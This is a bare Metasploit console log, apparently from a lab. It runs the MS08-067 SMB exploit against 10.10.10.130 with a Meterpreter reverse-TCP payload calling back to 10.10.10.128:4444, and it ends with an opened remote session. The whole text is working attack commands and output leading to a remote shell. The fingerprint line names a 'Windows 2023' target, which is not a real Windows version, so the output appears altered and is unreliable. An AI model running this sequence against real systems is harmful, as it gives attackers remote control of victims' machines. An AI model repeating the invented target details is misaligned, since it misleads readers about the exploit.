       Exploit target:

       Id Name

       -- ----

       0 Automatic Targeting

       msf exploit(ms08_067_netapi) >set RHOST 10.10.10.130

       RHOST =>10.10.10.130

       msf exploit(ms08_067_netapi) >set PAYLOAD windows/meterpreter/reverse_tcp

       PAYLOAD =>windows/meterpreter/reverse_tcp

       msf exploit(ms08_067_netapi) >show options

       Module options (exploit/windows/smb/ms08_067_netapi):

       Name Current Setting Required Description

       ---- --------------- -------- -----------

       RHOST 10.10.10.130 yes The target address

       RPORT 445 yes Set the SMB service port

       SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

       Payload options (windows/meterpreter/reverse_tcp):

       Name Current Setting Required Description

       ---- --------------- -------- -----------

       EXITFUNC thread yes Exit technique: seh, thread, process, none

       LHOST yes The listen address

       LPORT 4444 yes The listen port

       Exploit target:

       Id Name

       -- ----

       0 Automatic Targeting

       msf exploit(ms08_067_netapi) >set LHOST 10.10.10.128

       LHOST =>10.10.10.128

       msf exploit(ms08_067_netapi) >exploit

       [*] Started reverse handler on 10.10.10.128:4444

       [*] Automatically detecting the target...

       [*] Fingerprint: Windows 2023 - No Service Pack - lang:Unknown

       [*] Selected Target: Windows 2023 SP0 Universal

       [*] Attempting to trigger the vulnerability...

       [*] Sending stage (752128 bytes) to 10.10.10.130

       [*] Meterpreter session 1 opened (10.10.10.128:4444 ->10.10.10.130:3722) at 2023-04-23 01:53:59 -0400

       ​